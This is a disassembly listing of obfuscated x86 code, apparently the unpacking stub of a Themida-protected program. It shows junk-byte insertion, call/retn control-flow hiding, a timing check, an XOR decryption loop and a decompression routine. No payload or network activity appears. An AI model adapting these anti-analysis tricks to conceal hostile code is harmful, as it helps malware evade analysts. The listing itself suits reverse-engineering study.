		jmp	loc_58DA71
; ---------------------------------------------------------------------------
		db 0A9h, 0F4h, 93h
		dd 0BFE94597h
; ---------------------------------------------------------------------------
		wait


loc_58DA71:				; CODE XREF: sub_58A891+31D3j
		pop	edx
		nop
		mov	bx, dx
		push	eax
		mov	dh, ah
		nop
		and	edx, 17B31CF7h
		mov	byte ptr [ebp+7D131B5h], 45h
		jo	loc_58DA8E
		cld


loc_58DA8E:				; CODE XREF: sub_58A891+31F6j
		call	near ptr loc_58DA93+4


loc_58DA93:				; CODE XREF: sub_58A891:loc_58DA8Ep
		imul	ebp, [ecx+72h],	0BB52508Eh
		sbb	al, 10h
		arpl	[esi], di
		rdtsc
		pop	edx
		pop	eax
		push	eax
		call	loc_58DAB1
		adc	ds:89FFBF6Dh, ch
		aam	8Fh


loc_58DAB1:				; CODE XREF: sub_58A891+3212p
		jo	$+6
		pop	edx
		mov	eax, [esp+4]
		call	near ptr loc_58DAD4+1
		xchg	eax, edi
		and	ebx, ebx
		mov	ecx, 95D9612Ah
		call	far ptr	0C3E7h:820DA1Ah
		push	cs
		pop	esi
		pop	esp
		movsd


loc_58DAD4:				; CODE XREF: sub_58A891+322Bp
		out	60h, al		; AT Keyboard controller 8042.
		jmp	loc_58DAEB
; ---------------------------------------------------------------------------
		db 9Ch
		dd 0F6B5DEBBh, 732A6376h, 0A962A740h
		db 0C5h, 0BDh, 3Eh
; ---------------------------------------------------------------------------


loc_58DAEB:				; CODE XREF: sub_58A891+3245j
		popa
		pop	edx
		mov	eax, [eax]
		mov	edx, 9C4CD27h
		mov	[esp+4], eax
		push	edi
		mov	edx, 656D15F3h
		pop	ebx
		pop	eax
		mov	edx, 4252BAB8h
		push	dword ptr [ebp+7D11CC9h]
		jmp	loc_58DB18
; ---------------------------------------------------------------------------
		dd 592F1FCFh, 35354969h
; ---------------------------------------------------------------------------


loc_58DB18:				; CODE XREF: sub_58A891+327Aj
		lea	eax, [ebp+7D13B01h]
		jb	loc_58DB28
		mov	bx, 63Eh


loc_58DB28:				; CODE XREF: sub_58A891+328Dj
		call	eax
		mov	dh, 0DAh
		mov	[ebp+7D13091h],	eax
		sub	dx, 9760h
		movzx	edx, dx
		pop	eax
		mov	edx, edi
		sub	[ebp+7D122A9h],	ebx


loc_58DB43:				; CODE XREF: sub_58A891+31A5j
		cmp	dword ptr [ebp+7D14CFBh], 0
		jz	loc_58DBBA
		mov	edx, [ebp+7D12A21h]
		push	dword ptr [ebp+7D11981h]
		push	0
		push	ebx
		call	loc_58DB67
		and	[ebx-3Dh], bl


loc_58DB67:				; CODE XREF: sub_58A891+32CEp
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 61h
		dd 13B7DD00h, 54424D3Ah, 0B860F7Ch, 60000000h, 8E0Fh, 8B660000h
		dd 8C0F61C3h, 16h, 10E8h, 0F8992500h, 679D0B55h, 0CF8CAD11h
		dd 0F5BC494Eh, 95FF5A84h, 7D13091h, 24F99523h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_58DBBA:				; CODE XREF: sub_58A891+32B9j
		cmp	eax, 0
		jnz	loc_58DC85
		push	0
		push	esi
		call	loc_58DBCE
		and	[esi-3Dh], bl


loc_58DBCE:				; CODE XREF: sub_58A891+3335p
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		jnz	short loc_58DBF1
		xor	ebx, [eax+3EBB66B8h]
		add	[esi-75h], ah
		xlat
		cmp	dword ptr [ebp+7D12C25h], 0


loc_58DBF1:				; CODE XREF: sub_58A891+334Dj
		jz	loc_58DC3F
		stc
		push	dword ptr [ebp+7D12C25h]
		push	0
		push	ecx
		call	loc_58DC09
		and	[ecx-3Dh], bl


loc_58DC09:				; CODE XREF: sub_58A891+3370p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 19h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		test	[ecx+edi*2], ch
		lea	edx, [edi-2540F071h]
		mov	eax, 1
		ja	loc_58DC2F
		mov	dh, cl


loc_58DC2F:				; CODE XREF: sub_58A891+3396j
		mov	ebx, [ebp+7D1086Dh]
		jmp	loc_58DE62
; ---------------------------------------------------------------------------
		mov	edx, 1E3B07FDh


loc_58DC3F:				; CODE XREF: sub_58A891:loc_58DBF1j
		push	dword ptr [ebp+7D11981h]
		sub	edx, [ebp+7D11399h]
		push	dword ptr [ebp+7D11981h]
		mov	[ebp+7D11769h],	ecx
		push	dword ptr [ebp+7D13091h]
		add	dx, 903Eh
		jmp	loc_58DE62
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	loc_58DC72
		and	[edx-3Dh], bl


loc_58DC72:				; CODE XREF: sub_58A891+33D9p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 16h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dw 0D67Dh
		db 33h
; ---------------------------------------------------------------------------


loc_58DC85:				; CODE XREF: sub_58A891+332Cj
		pop	edi
		mov	dx, 8D4Bh
		cmp	dword ptr [ebp+7D11AA9h], 0
		jnz	loc_58DDA3
		jge	loc_58DC9F
		mov	bh, 8Ch


loc_58DC9F:				; CODE XREF: sub_58A891+3406j
		mov	byte ptr [ebp+7D131B5h], 4Dh
		push	0
		push	ecx
		call	loc_58DCB1
		and	[ecx-3Dh], bl


loc_58DCB1:				; CODE XREF: sub_58A891+3418p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 15h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 8Ch,	4Fh, 9
		dd 0D1181DB5h, 9DBA6607h, 4E843h, 76A80000h, 0D78AA435h
		dd 60525050h, 810F5F56h, 0
		dd 66310F61h, 5A9D2BBAh, 24448B58h, 0CE904h, 8EAF0000h
		dd 33AABAC0h, 7370846Bh, 8BABA6h, 0A7D674BBh, 24448919h
		dd 0D98B6604h, 55006A58h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 3FFD1DB0h, 14E9h, 0ECF36800h
		dd 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh, 12E932h
		dd 0CD0C0000h, 0CA5A0DA5h, 5087D206h, 43440580h, 0A700564h
		dd 30F9B5FFh, 816607D1h, 0F81BBDDAh, 3B01858Dh,	6A07D1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0EE0DF1C3h, 31BA4119h, 0D0FFDCB6h, 8589D5B2h, 7D11AA9h
; ---------------------------------------------------------------------------
		movzx	edx, si


loc_58DDA3:				; CODE XREF: sub_58A891+3400j
		mov	eax, 0
		mov	edx, [ebp+7D12F09h]
		mov	[ebp+7D14CA4h],	edi
		mov	bx, 5725h
		or	eax, eax
		jz	loc_58DE06
		push	0
		push	ebp
		call	loc_58DDCB
		and	[ebp-3Dh], bl


loc_58DDCB:				; CODE XREF: sub_58A891+3532p
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 0F8h
		dd 317E29DCh, 0B70F131Bh, 78E9DAh, 0C3810000h, 0A3E089Bh
		dd 0AE8h, 911EE200h, 9A11AA50h,	8BD4B05Eh, 0D131C59Dh
; ---------------------------------------------------------------------------
		pop	es
		pop	ebx


loc_58DE06:				; CODE XREF: sub_58A891+3529j
		push	dword ptr [ebp+7D13091h]
		mov	bx, 0C014h
		lea	eax, [ebp+7D3D40Fh]
		push	0
		push	ebp
		call	loc_58DE21
		and	[ebp-3Dh], bl


loc_58DE21:				; CODE XREF: sub_58A891+3588p
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Ch
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 9Ch,	0DCh, 0ADh
		dd 793A17E9h, 850F7413h, 14h, 0FE9h, 0B616AC00h, 4340EF6Ah
		dd 0EA1BE80h, 51C0CB2Ch, 0AF73BB50h, 4893ADCh, 1216BB24h
		db 0F6h, 7Dh
; ---------------------------------------------------------------------------


loc_58DE62:				; CODE XREF: sub_58A891+33A4j
					; sub_58A891+33D1j
		push	eax
		push	esi
		lea	edi, [ebp+7D1536Bh]
		lea	ecx, [ebp+7D17839h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_58DE77:				; CODE XREF: sub_58A891+35ECj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58DE77
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+7D12C25h], 0
		jz	short loc_58DE90
		mov	ecx, [ebp+7D1172Dh]


loc_58DE90:				; CODE XREF: sub_58A891+35F7j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_58DF47
		cmp	dword ptr [ebp+7D11DE1h], 0
		jz	short loc_58DEAE
		call	dword ptr [ebp+7D11B81h]


loc_58DEAE:				; CODE XREF: sub_58A891+3615j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_58DEC0
		cmp	dword ptr [ebp+7D14CACh], 1
		jz	short loc_58DEC9


loc_58DEC0:				; CODE XREF: sub_58A891+3624j
		cmp	dword ptr [ebp+7D14CACh], 2
		jnz	short loc_58DED7


loc_58DEC9:				; CODE XREF: sub_58A891+362Dj
		mov	esi, [ebp+7D14CA4h]
		lea	eax, [ebp+7D3D40Fh]
		call	eax


loc_58DED7:				; CODE XREF: sub_58A891+3636j
		cmp	dword ptr [ebp+7D133D5h], 0
		jz	short loc_58DEE6
		call	dword ptr [ebp+7D13301h]


loc_58DEE6:				; CODE XREF: sub_58A891+364Dj
		lea	eax, [ebp+7D142B8h]
		call	eax
		cmp	dword ptr [ebp+7D10875h], 2
		jnz	short loc_58DF26
		mov	esp, [ebp+7D1234Dh]
		mov	eax, [ebp+7D12C25h]
		mov	[esp+0], eax
		mov	dword ptr [ebp+7D122EDh], 1
		mov	esi, [ebp+7D14CA8h]
		mov	ebp, [ebp+7D12B71h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_58DF26:				; CODE XREF: sub_58A891+3664j
		mov	dword ptr [ebp+7D122EDh], 1
		mov	esp, [ebp+7D1234Dh]
		mov	esi, [ebp+7D13221h]
		mov	ebp, [ebp+7D12B71h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58DF47:				; CODE XREF: sub_58A891+3608j
		cmp	dword ptr [ebp+7D133D5h], 0
		jz	short loc_58DF5F
		cmp	dword ptr [ebp+7D13301h], 0
		jz	short loc_58DF5F
		call	dword ptr [ebp+7D13301h]


loc_58DF5F:				; CODE XREF: sub_58A891+36BDj
					; sub_58A891+36C6j
		mov	esi, [ebp+7D14CA4h]
		retn
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	loc_58DF71
		and	[esi-3Dh], bl


loc_58DF71:				; CODE XREF: sub_58A891+36D8p
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 15h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	0B6h, 8Bh
		dd 0D1154195h, 0BA07h, 0BB660000h
		db 38h,	9Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_58DFA2
; ---------------------------------------------------------------------------


loc_58DFA0:				; CODE XREF: sub_58A891+3714j
		inc	eax
		inc	edi


loc_58DFA2:				; CODE XREF: sub_58A891+370Dj
		cmp	byte ptr [edi],	0
		jnz	short loc_58DFA0
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_58DFD1
; ---------------------------------------------------------------------------


loc_58DFAE:				; CODE XREF: sub_58A891+3742j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_58DFC6
; ---------------------------------------------------------------------------


loc_58DFC3:				; CODE XREF: sub_58A891+3738j
		mul	ebx
		dec	esi


loc_58DFC6:				; CODE XREF: sub_58A891+3730j
		cmp	esi, 0
		ja	short loc_58DFC3
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_58DFD1:				; CODE XREF: sub_58A891+371Bj
		or	eax, eax
		jnz	short loc_58DFAE
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	loc_58DFEA
		and	[esi-3Dh], bl


loc_58DFEA:				; CODE XREF: sub_58A891+3751p
		pop	esi
		mov	[esp-5Ah+arg_54+2], esi
		add	[esp-5Ah+arg_54+2], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dw 0A332h
; ---------------------------------------------------------------------------
		pop	edi
		mov	ebp, esp
		push	0
		push	edx
		call	loc_58E00A
		and	[edx-3Dh], bl


loc_58E00A:				; CODE XREF: sub_58A891+3771p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 1Bh
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dw 797Dh
		dd 0D643AE5Ch
		db 0E9h, 2Ah
; ---------------------------------------------------------------------------


loc_58E022:				; CODE XREF: sub_58A891:loc_58B33Dj
		mov	eax, ecx
		jmp	loc_58E1D6
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+28h+var_4]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_58E035:				; CODE XREF: sub_58A891:loc_58E04Dj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_58E040:				; CODE XREF: sub_58A891+383Aj
					; sub_58A891+38A2j ...
		add	dl, dl
		jnz	loc_58E04D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E04D:				; CODE XREF: sub_58A891+37B1j
		jnb	loc_58E035
		add	dl, dl
		jnz	loc_58E060
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E060:				; CODE XREF: sub_58A891+37C4j
		jnb	loc_58E0D0
		xor	eax, eax
		add	dl, dl
		jnz	loc_58E075
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E075:				; CODE XREF: sub_58A891+37D9j
		jnb	loc_58E1A5
		add	dl, dl
		jnz	loc_58E088
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E088:				; CODE XREF: sub_58A891+37ECj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E097
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E097:				; CODE XREF: sub_58A891+37FBj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E0A6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0A6:				; CODE XREF: sub_58A891+380Aj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E0B5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0B5:				; CODE XREF: sub_58A891+3819j
		adc	eax, eax
		jz	loc_58E0C3
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_58E0C3:				; CODE XREF: sub_58A891+3826j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E0D0:				; CODE XREF: sub_58A891:loc_58E060j
		mov	eax, 1


loc_58E0D5:				; CODE XREF: sub_58A891:loc_58E0F1j
		add	dl, dl
		jnz	loc_58E0E2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0E2:				; CODE XREF: sub_58A891+3846j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58E0F1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E0F1:				; CODE XREF: sub_58A891+3855j
		jb	loc_58E0D5
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_58E138
		mov	ecx, 1


loc_58E109:				; CODE XREF: sub_58A891:loc_58E125j
		add	dl, dl
		jnz	loc_58E116
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E116:				; CODE XREF: sub_58A891+387Aj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58E125
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E125:				; CODE XREF: sub_58A891+3889j
		jb	loc_58E109
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E138:				; CODE XREF: sub_58A891+386Dj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_58E146:				; CODE XREF: sub_58A891:loc_58E162j
		add	dl, dl
		jnz	loc_58E153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E153:				; CODE XREF: sub_58A891+38B7j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58E162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58E162:				; CODE XREF: sub_58A891+38C6j
		jb	loc_58E146
		cmp	eax, 7D00h
		jnb	loc_58E195
		cmp	eax, 500h
		jb	loc_58E18C
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E18C:				; CODE XREF: sub_58A891+38E7j
		cmp	eax, 7Fh
		ja	loc_58E198


loc_58E195:				; CODE XREF: sub_58A891+38DCj
		add	ecx, 2


loc_58E198:				; CODE XREF: sub_58A891+38FEj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E1A5:				; CODE XREF: sub_58A891:loc_58E075j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_58E1CA
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_58E040
; ---------------------------------------------------------------------------


loc_58E1CA:				; CODE XREF: sub_58A891+391Cj
		sub	edi, [esp+28h]
		mov	[esp+28h+var_C], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_58E1D6:				; CODE XREF: sub_58A891+3793j
		mov	edx, 929h
		jmp	loc_5B2FEB
; ---------------------------------------------------------------------------
		dd 1ACE0h, 5C3BA4h, 7C90EB94h, 4C4800h,	7CED7A28h, 5C8FA0h
		dd 0F887663Eh, 217h, 2,	1, 4, 0F887663Eh, 5 dup(0)
		dd offset loc_58EA5B
		dd offset loc_5919DF
		dd offset loc_592AF9
		dd offset loc_598978
		dd offset loc_594277
		dd offset loc_59BC2C
		dd offset loc_5937C9
		dd offset loc_598494
		dd offset loc_593713
		dd offset loc_592054
		dd offset loc_5977FB
		dd offset loc_5994A3
		dd offset loc_594FE8
		dd offset loc_59B140
; ---------------------------------------------------------------------------
		retf	599Ch
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_598D21
		dd offset loc_59B6C9
		dd offset off_599ABA
		dd offset loc_595D5A
		dd offset loc_598118
		dd offset loc_58EB84
		dd offset loc_59960A
		dd offset loc_595339
		dd offset off_593DB3
		dd offset loc_597652
		dd offset loc_594114
		dd offset loc_59A632
		dd offset loc_592D84
		dd offset loc_59493E
		dd offset loc_58E9C1
		dd offset loc_5997E3
		dd offset loc_59013C
		dd offset loc_592960
		dd offset loc_593729
		dd offset loc_59624C
		dd offset loc_594381
		dd offset loc_59B813
		dd offset loc_591814
		dd offset loc_58ED05
		dd offset loc_591313
		dd offset loc_59AC59
		dd offset loc_595294
		dd offset dword_59AD04
		dd offset loc_596437
		dd offset loc_58FEAC
		dd offset loc_596B93
		dd offset loc_59BB3E
		dd offset loc_598963
		dd offset loc_598AD8
		dd offset loc_59A5AB
		dd offset loc_5906DB
		dd offset loc_58F93B
		dd offset loc_595AC9
		dd offset loc_58E8F1
		dd offset loc_5988D9
		dd offset loc_592287
		dd offset loc_59AD86
		dd offset loc_597445
		dd offset loc_58E998
		dd offset loc_598783
		dd offset loc_597EA3
		dd offset loc_592A1E
		dd offset loc_596900
		dd offset loc_5919A1
		dd offset loc_59577B
		dd offset loc_591D7D
		dd offset loc_596E1F
		dd offset loc_594253
		dd offset loc_59ACA6
		dd offset loc_5940B6
		dd offset loc_58F14E
		dd offset loc_591710
		dd offset loc_599DC0
		dd offset loc_592947
		dd offset loc_59B039
		dd offset loc_592CDF
		dd offset loc_59473F
		dd offset byte_595E6F
		dd offset loc_595474
; ---------------------------------------------------------------------------
		jmp	edi
; ---------------------------------------------------------------------------
		dw 58h
		dd offset loc_5943F5
		dd offset loc_59B806
		dd offset loc_5912A5
		dd offset loc_596C13
		dd offset loc_58EA64
		dd offset loc_5984D6
		dd offset loc_594F7E
		dd offset loc_598BA1
		dd offset loc_595BEF
		dd offset loc_596C23
		dd offset loc_594B4D
		dd offset loc_5926DA
		dd offset loc_58FE9E
		dd offset loc_59669D
		dd offset loc_596BF6
		dd offset loc_593EFB
		dd offset loc_595FD4
		dd offset loc_599130
		dd offset loc_58E976
		dd offset loc_594887
		dd offset loc_58ECF9
		dd offset loc_594029
		dd offset loc_59368D
		dd offset loc_590B35
; ---------------------------------------------------------------------------
		shl	dword ptr [ebp+59h], 0
		movmskps ebx, oword ptr	[ecx+0]
		retf	59B8h
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_5933B2
		dd offset loc_5919D4
		dd offset loc_59B4DA
		dd offset loc_593652
		dd offset loc_598238
		dd offset off_597157
		dd offset loc_596A10
		dd offset loc_599218
		dd offset loc_5935F5
		dd offset loc_594E94
		dd offset loc_591CF5
		dd offset loc_58EC43
		dd offset loc_5929BA
		dd offset loc_593008
		dd offset loc_594A38
		dd offset loc_59A6B8
		dd offset loc_5908FE
		dd offset loc_5987BC
		dd offset loc_58E8E0
		dd offset loc_5980EC
		dd offset loc_5966E9
		dd offset loc_590CFF
		dd offset loc_5911AE
		dd offset loc_5985B4
		dd offset loc_598178
		dd offset loc_59544A
		dd offset loc_593215
		dd offset loc_5999D1
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 61h,	59h, 0
		dd offset loc_599317
		dd offset loc_591801
		dd offset loc_593B80
		dd offset loc_598C91
		dd offset loc_5920CE
		dd offset loc_593BA1
		dd offset loc_58F746
		dd offset loc_5990AE
		dd offset loc_593100
		dd offset word_594466
		dd offset loc_5932D0
		dd offset loc_5998B3
		dd offset loc_595CAC
		dd offset loc_58ED47
		dd offset loc_58E96B
		dd offset loc_59A1B4
		dd offset loc_58ED30
		dd offset loc_597C0A
		dd offset loc_59538F
		dd offset loc_59417D
		dd offset loc_592F24
		dd offset loc_590F87
; ---------------------------------------------------------------------------
		jmp	short loc_58E4DC
; ---------------------------------------------------------------------------
		dw 59h
		dd offset word_59994A
		dd offset loc_59026A
		dd offset loc_597518
		dd offset loc_58F933
		dd offset loc_59736C
		dd offset loc_58FD64
		dd offset loc_597F48
		dd offset loc_59A453
; ---------------------------------------------------------------------------


loc_58E4C0:				; CODE XREF: Themida_:005B3108j
					; Themida_:005B3112j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D17E8Ah
		mov	eax, edi
		add	edi, 7D17BA2h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58E4DE


loc_58E4DC:				; CODE XREF: sub_58A891+3C0Bj
		jmp	short loc_58E4F1
; ---------------------------------------------------------------------------


loc_58E4DE:				; CODE XREF: sub_58A891+3C49j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58E4ED
; ---------------------------------------------------------------------------


loc_58E4E8:				; CODE XREF: sub_58A891+3C5Ej
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58E4ED:				; CODE XREF: sub_58A891+3C55j
		or	ecx, ecx
		jnz	short loc_58E4E8


loc_58E4F1:				; CODE XREF: sub_58A891:loc_58E4DCj
		mov	esi, [esp+2Ch+var_8]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58E4FE:				; CODE XREF: sub_58A891+3C74j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58E4FE


loc_58E507:				; CODE XREF: sub_58A891+3E86j
					; sub_58A891+40E7j ...
		lodsb
		push	small 1214h
		mov	word ptr [esp+2Eh+var_30+2], dx
		push	bx
		mov	bh, 18h
		mov	dh, bh
		pop	bx
		jmp	loc_592C06
; ---------------------------------------------------------------------------


loc_58E51D:				; CODE XREF: sub_58A891+10C86j
		sub	ebp, esi
		jmp	loc_59AF55
; ---------------------------------------------------------------------------


loc_58E524:				; CODE XREF: sub_58A891:loc_58F159j
		shr	bl, 2
		jz	loc_599297
		push	cx
		push	edx
		mov	dl, 83h
		jmp	loc_595523
; ---------------------------------------------------------------------------


loc_58E537:				; CODE XREF: sub_58A891+7808j
		add	eax, edi
		push	ebp
		push	ebx
		jmp	loc_592DF0
; ---------------------------------------------------------------------------


loc_58E540:				; CODE XREF: sub_58A891+40BDj
		shl	edx, 8
		shl	edx, 1
		push	eax
		push	ebp
		mov	ebp, 6E681D93h
		mov	eax, 305E5A52h
		xor	eax, ebp
		mov	ebp, [esp+44h+var_46+2]
		add	esp, 4
		inc	eax
		push	edi
		mov	edi, 307308D1h
		xor	edi, 0CF8CF72Eh
		add	eax, edi
		pop	edi
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		jmp	loc_59649E
; ---------------------------------------------------------------------------


loc_58E574:				; CODE XREF: sub_58A891+50AEj
		sub	esp, 4
		mov	[esp+44h+var_46+2], esi
		jmp	loc_594D95
; ---------------------------------------------------------------------------


loc_58E57F:				; CODE XREF: sub_58A891+A4B2j
		pop	ebx
		pop	[esp+40h+var_40]
		pop	esp
		mov	[esp+38h+var_38], ebx
		push	[esp+38h+var_38]
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_58EAA6
; ---------------------------------------------------------------------------


loc_58E595:				; CODE XREF: sub_58A891:loc_5936C7j
		sub	ebp, 0DDF3F3C5h
		mov	[edi+24h], ebp
		pop	ebp
		jmp	loc_594753
; ---------------------------------------------------------------------------


loc_58E5A4:				; CODE XREF: sub_58A891+90CCj
		sub	esi, ebp
		jmp	loc_59539E
; ---------------------------------------------------------------------------


loc_58E5AB:				; CODE XREF: sub_58A891+A3BAj
		push	esi
		mov	esi, 1C08100Dh
		sub	[esp+38h+var_34], esi
		pop	esi
		jmp	loc_59B114
; ---------------------------------------------------------------------------


loc_58E5BB:				; CODE XREF: sub_58A891+6659j
		add	eax, ebp
		mov	ebp, [esp+34h+var_34]
		jmp	loc_59B373
; ---------------------------------------------------------------------------


loc_58E5C5:				; CODE XREF: sub_58A891+A0E6j
		shl	ecx, 2
		push	0
		add	[esp+38h+var_38], 5FE83AEBh
		sub	[esp+38h+var_38], ecx
		jmp	loc_594E5A
; ---------------------------------------------------------------------------


loc_58E5DC:				; CODE XREF: sub_58A891+94D1j
		push	ebx
		jmp	loc_5901AF
; ---------------------------------------------------------------------------


loc_58E5E2:				; CODE XREF: sub_58A891+EF56j
		push	0FBAh
		mov	[esp+40h+var_40], ebp
		push	31E0h
		mov	[esp+44h+var_46+2], esp
		add	[esp+44h+var_46+2], 4
		mov	ebp, [esp+44h+var_46+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, 79DE745Dh
		add	ebp, ebx
		jmp	loc_596493
; ---------------------------------------------------------------------------


loc_58E615:				; CODE XREF: sub_58A891+954Cj
					; sub_58A891+FF00j
		add	eax, 2D0837D5h
		jmp	loc_597DE3
; ---------------------------------------------------------------------------


loc_58E61F:				; CODE XREF: sub_58A891+4622j
		xor	eax, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		jmp	loc_598992
; ---------------------------------------------------------------------------


loc_58E62A:				; CODE XREF: sub_58A891+84EEj
					; sub_58A891+EAC9j
		add	esp, 4
		mov	ecx, [esp+40h+var_40]
		jmp	loc_59480C
; ---------------------------------------------------------------------------


loc_58E638:				; CODE XREF: sub_58A891+6A72j
					; sub_58A891+7B82j
		jge	loc_59057E
		add	eax, 0F018AE52h
		add	edx, eax
		jmp	loc_58E712
; ---------------------------------------------------------------------------
		mov	bl, 0C4h


loc_58E64C:				; CODE XREF: sub_58A891+D8F1j
		mov	[esp+40h+var_40], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+44h+var_46+2]
		jmp	loc_58F54F
; ---------------------------------------------------------------------------


loc_58E663:				; CODE XREF: sub_58A891+B01Aj
					; sub_58A891+FEEEj
		add	edx, ebx
		jmp	loc_592EC1
; ---------------------------------------------------------------------------


loc_58E66A:				; CODE XREF: sub_58A891+835Aj
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_5926F5
; ---------------------------------------------------------------------------


loc_58E679:				; CODE XREF: sub_58A891+8A57j
		push	edx
		push	ebp
		jmp	loc_598DF9
; ---------------------------------------------------------------------------


loc_58E680:				; CODE XREF: sub_58A891+6B70j
		shr	ecx, 4
		jnp	loc_590375
		xor	ecx, 518E4AB8h
		ja	loc_59661F
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		mov	ecx, [esp+0]
		pop	ebp


loc_58E6A1:				; CODE XREF: sub_58A891+6239j
		xor	edi, [esp+4Ch+var_4E+2]
		pop	esp
		push	ebp
		jmp	loc_5992C8
; ---------------------------------------------------------------------------


